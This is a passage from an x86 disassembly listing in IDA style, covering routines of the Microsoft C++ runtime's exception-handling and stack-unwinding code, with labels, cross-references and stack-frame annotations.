		jz	short loc_41C8C6

loc_41C8BC:				; CODE XREF: sub_41C84F+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41C8BC
		and	[esi-2], al

loc_41C8C6:				; CODE XREF: sub_41C84F+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41C911
		add	esp, 0Ch
		jmp	short loc_41C8E5
; ---------------------------------------------------------------------------

loc_41C8D5:				; CODE XREF: sub_41C84F+63j
					; sub_41C84F+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41C8EA
		add	esp, 10h

loc_41C8E5:				; CODE XREF: sub_41C84F+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C84F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C8EA	proc near		; CODE XREF: sub_41C84F+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_48951C, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C66D
		and	byte_48951C, 0
		add	esp, 10h
		retn
sub_41C8EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C911	proc near		; CODE XREF: sub_41C84F+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_48951C, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41C771
		and	byte_48951C, 0
		add	esp, 0Ch
		retn
sub_41C911	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C934	proc near		; CODE XREF: sub_419B38+3AAp
					; DATA XREF: sub_417A8Bo ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41C96F
		cmp	[ebp+arg_8], 45h
		jz	short loc_41C96F
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41C95C
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C771
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41C95C:				; CODE XREF: sub_41C934+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C84F
		jmp	short loc_41C980
; ---------------------------------------------------------------------------

loc_41C96F:				; CODE XREF: sub_41C934+7j
					; sub_41C934+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C66D

loc_41C980:				; CODE XREF: sub_41C934+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41C934	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C985	proc near		; CODE XREF: sub_41C66D+2Cp
					; sub_41C771+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41C9A8
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_4177B0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_417FC0
		add	esp, 10h
		pop	esi

loc_41C9A8:				; CODE XREF: sub_41C985+7j
		pop	edi
		retn
sub_41C985	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9AA	proc near		; CODE XREF: .data:00417C6Cp
					; sub_417CD5+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41C9C0
		call	sub_41D252

loc_41C9C0:				; CODE XREF: sub_41C9AA+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41C9E8
		cmp	dword ptr [esi+4], 0
		jz	short loc_41CA3E
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CA3E
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41CCF1
		add	esp, 10h
		jmp	short loc_41CA3E
; ---------------------------------------------------------------------------

loc_41C9E8:				; CODE XREF: sub_41C9AA+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41CA3E
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41CA22
		cmp	[eax+14h], edi
		jbe	short loc_41CA22
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41CA22
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41CA41
; ---------------------------------------------------------------------------

loc_41CA22:				; CODE XREF: sub_41C9AA+4Aj
					; sub_41C9AA+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41CA45
		add	esp, 20h

loc_41CA3E:				; CODE XREF: sub_41C9AA+23j
					; sub_41C9AA+29j ...
		push	1
		pop	eax

loc_41CA41:				; CODE XREF: sub_41C9AA+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41C9AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA45	proc near		; CODE XREF: sub_41C9AA+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41CA65
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41CA6A

loc_41CA65:				; CODE XREF: sub_41CA45+16j
		call	sub_41D252

loc_41CA6A:				; CODE XREF: sub_41CA45+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41CBC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CADE
		cmp	[esi+14h], edi
		jnz	short loc_41CADE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CADE
		mov	esi, dword_489528
		test	esi, esi
		jz	loc_41CBBC
		mov	eax, dword_48952C
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_4205FE
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CAC0
		call	sub_41D252

loc_41CAC0:				; CODE XREF: sub_41CA45+74j
		cmp	[esi], ebx
		jnz	loc_41CBC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CADE
		cmp	[esi+14h], edi
		jnz	short loc_41CADE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CADE
		call	sub_41D252

loc_41CADE:				; CODE XREF: sub_41CA45+41j
					; sub_41CA45+46j ...
		cmp	[esi], ebx
		jnz	loc_41CBC1
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41CBC1
		cmp	[esi+14h], edi
		jnz	loc_41CBC1
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_417E23
		add	esp, 14h
		mov	ebx, eax

loc_41CB15:				; CODE XREF: sub_41CA45+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41CBAC
		cmp	[ebx], edi
		jg	short loc_41CBA1
		cmp	edi, [ebx+4]
		jg	short loc_41CBA1
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41CB9E

loc_41CB3A:				; CODE XREF: sub_41CA45+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41CB6B

loc_41CB4C:				; CODE XREF: sub_41CA45+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41CC94
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41CB7A
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41CB4C

loc_41CB6B:				; CODE XREF: sub_41CA45+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41CB3A
		jmp	short loc_41CB9E
; ---------------------------------------------------------------------------

loc_41CB7A:				; CODE XREF: sub_41CA45+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41CDA5
		add	esp, 2Ch

loc_41CB9E:				; CODE XREF: sub_41CA45+F3j
					; sub_41CA45+133j
		mov	edi, [ebp+var_10]

loc_41CBA1:				; CODE XREF: sub_41CA45+DEj
					; sub_41CA45+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41CB15
; ---------------------------------------------------------------------------

loc_41CBAC:				; CODE XREF: sub_41CA45+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41CBBC
		push	1
		push	esi
		call	sub_41D11A
		pop	ecx
		pop	ecx

loc_41CBBC:				; CODE XREF: sub_41CA45+56j
					; sub_41CA45+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41CBC1:				; CODE XREF: sub_41CA45+37j
					; sub_41CA45+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CBE7
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41CBEC
		add	esp, 20h
		jmp	short loc_41CBBC
; ---------------------------------------------------------------------------

loc_41CBE7:				; CODE XREF: sub_41CA45+180j
		jmp	sub_41D1FC
sub_41CA45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CBEC	proc near		; CODE XREF: sub_41CA45+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_489530, 0
		push	esi
		push	edi
		jz	short loc_41CC1D
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417CFA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41CC90

loc_41CC1D:				; CODE XREF: sub_41CBEC+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_417E23
		add	esp, 14h
		mov	esi, eax

loc_41CC39:				; CODE XREF: sub_41CBEC+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41CC90
		cmp	edi, [esi]
		jl	short loc_41CC88
		cmp	edi, [esi+4]
		jg	short loc_41CC88
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41CC62
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41CC88

loc_41CC62:				; CODE XREF: sub_41CBEC+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CDA5
		add	esp, 2Ch

loc_41CC88:				; CODE XREF: sub_41CBEC+57j
					; sub_41CBEC+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41CC39
; ---------------------------------------------------------------------------

loc_41CC90:				; CODE XREF: sub_41CBEC+2Fj
					; sub_41CBEC+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41CBEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC94	proc near		; CODE XREF: sub_41CA45+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41CCEB
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41CCEB
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41CCC5
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CCE7

loc_41CCC5:				; CODE XREF: sub_41CC94+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41CCCF
		test	byte ptr [edi],	8
		jz	short loc_41CCE7

loc_41CCCF:				; CODE XREF: sub_41CC94+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41CCDE
		test	byte ptr [edi],	1
		jz	short loc_41CCE7

loc_41CCDE:				; CODE XREF: sub_41CC94+43j
		test	al, 2
		jz	short loc_41CCEB
		test	byte ptr [edi],	2
		jnz	short loc_41CCEB

loc_41CCE7:				; CODE XREF: sub_41CC94+2Fj
					; sub_41CC94+39j ...
		xor	eax, eax
		jmp	short loc_41CCEE
; ---------------------------------------------------------------------------

loc_41CCEB:				; CODE XREF: sub_41CC94+Bj
					; sub_41CC94+14j ...
		push	1
		pop	eax

loc_41CCEE:				; CODE XREF: sub_41CC94+55j
		pop	edi
		pop	esi
		retn
sub_41CC94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCF1	proc near		; CODE XREF: sub_41C9AA+34p
					; sub_41CDA5+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_423858
		push	offset sub_41F4A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]

loc_41CD23:				; CODE XREF: sub_41CCF1+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41CD7D
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41CD32
		cmp	esi, [edi+4]
		jl	short loc_41CD37

loc_41CD32:				; CODE XREF: sub_41CCF1+3Aj
		call	sub_41D252

loc_41CD37:				; CODE XREF: sub_41CCF1+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41CD52
		push	103h
		push	ebx
		push	eax
		call	sub_41D1B0

loc_41CD52:				; CODE XREF: sub_41CCF1+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41CD72
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41CD8F
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]

loc_41CD72:				; CODE XREF: sub_41CCF1+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41CD23
; ---------------------------------------------------------------------------

loc_41CD7D:				; CODE XREF: sub_41CCF1+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CCF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CD8F	proc near		; CODE XREF: sub_41CCF1+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41CDA0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41CDA0:				; CODE XREF: sub_41CD8F+Cj
		jmp	sub_41D1FC
sub_41CD8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CDA5	proc near		; CODE XREF: sub_41CA45+151p
					; sub_41CBEC+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41CDC7
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41CF56
		add	esp, 10h

loc_41CDC7:				; CODE XREF: sub_41CDA5+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41CDD3
		push	edi
		jmp	short loc_41CDD6
; ---------------------------------------------------------------------------

loc_41CDD3:				; CODE XREF: sub_41CDA5+29j
		push	[ebp+arg_24]

loc_41CDD6:				; CODE XREF: sub_41CDA5+2Cj
		call	sub_417BFC
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_41CCF1
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_41CE20
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41CE1B
		push	edi
		push	eax
		call	sub_417BBA

loc_41CE1B:				; CODE XREF: sub_41CDA5+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CDA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE20	proc near		; CODE XREF: sub_41CDA5+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_423868
		push	offset sub_41F4A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_489528
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_48952C
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_489528, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_48952C, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_417C81
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41CEE6
		mov	eax, [ebp+var_2C]

loc_41CEAD:				; CODE XREF: sub_41CEC6+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CE20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CEBC	proc near		; DATA XREF: .data:00423878o
		push	dword ptr [ebp-14h]
		call	sub_41CF2C
		pop	ecx
		retn
sub_41CEBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CEC6	proc near		; DATA XREF: .data:0042387Co
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_417EE2
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41CEAD
sub_41CEC6	endp

; ---------------------------------------------------------------------------

loc_41CEDE:				; DATA XREF: .data:00423870o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41CEE6	proc near		; CODE XREF: sub_41CE20+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_489528, eax
		mov	eax, [ebp-20h]
		mov	dword_48952C, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41CF2B
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41CF2B
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41CF2B
		cmp	[ebp-24h], ebx
		jnz	short locret_41CF2B
		cmp	[ebp-2Ch], ebx
		jz	short locret_41CF2B
		call	sub_417F4A
		push	eax
		push	edi
		call	sub_41D11A
		pop	ecx
		pop	ecx

locret_41CF2B:				; CODE XREF: sub_41CEE6+1Cj
					; sub_41CEE6+22j ...
		retn
sub_41CEE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CF2C	proc near		; CODE XREF: sub_41CEBC+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41CF53
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41CF53
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41CF53
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41CF53
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41CF53:				; CODE XREF: sub_41CF2C+Cj
					; sub_41CF2C+12j ...
		xor	eax, eax
		retn
sub_41CF2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CF56	proc near		; CODE XREF: sub_41CDA5+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_423880
		push	offset sub_41F4A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41D0FF
		cmp	byte ptr [eax+8], 0
		jz	loc_41D0FF
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41D0FF
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41CFF3
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_4205FE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D0F6
		push	1
		push	edi
		call	sub_42061A
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D0F6
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx

loc_41CFE4:				; CODE XREF: sub_41CF56+F5j
		push	eax
		call	sub_41D181
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41D0FB
; ---------------------------------------------------------------------------

loc_41CFF3:				; CODE XREF: sub_41CF56+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41D04D
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_4205FE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D0F6
		push	1
		push	edi
		call	sub_42061A
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D0F6
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_417FC0
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41D0FB
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41D0FB
		add	esi, 8
		push	esi
		jmp	short loc_41CFE4
; ---------------------------------------------------------------------------

loc_41D04D:				; CODE XREF: sub_41CF56+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41D095
		call	sub_4205FE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D0F6
		push	1
		push	edi
		call	sub_42061A
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D0F6
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41D181
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_417FC0
		add	esp, 0Ch
		jmp	short loc_41D0FB
; ---------------------------------------------------------------------------

loc_41D095:				; CODE XREF: sub_41CF56+103j
		call	sub_4205FE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D0F6
		push	1
		push	edi
		call	sub_42061A
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D0F6
		push	dword ptr [esi+18h]
		call	sub_420636
		pop	ecx
		test	eax, eax
		jz	short loc_41D0F6
		test	byte ptr [esi],	4
		jz	short loc_41D0DC
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D181
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417BF5
		jmp	short loc_41D0FB
; ---------------------------------------------------------------------------

loc_41D0DC:				; CODE XREF: sub_41CF56+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D181
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417BEE
		jmp	short loc_41D0FB
; ---------------------------------------------------------------------------

loc_41D0F6:				; CODE XREF: sub_41CF56+6Aj
					; sub_41CF56+7Cj ...
		call	sub_41D252

loc_41D0FB:				; CODE XREF: sub_41CF56+98j
					; sub_41CF56+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh

loc_41D0FF:				; CODE XREF: sub_41CF56+2Ej
					; sub_41CF56+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CF56	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D1FC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D11A	proc near		; CODE XREF: sub_41CA45+170p
					; sub_41CEE6+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_423890
		push	offset sub_41F4A0
		mov	eax, large fs:0
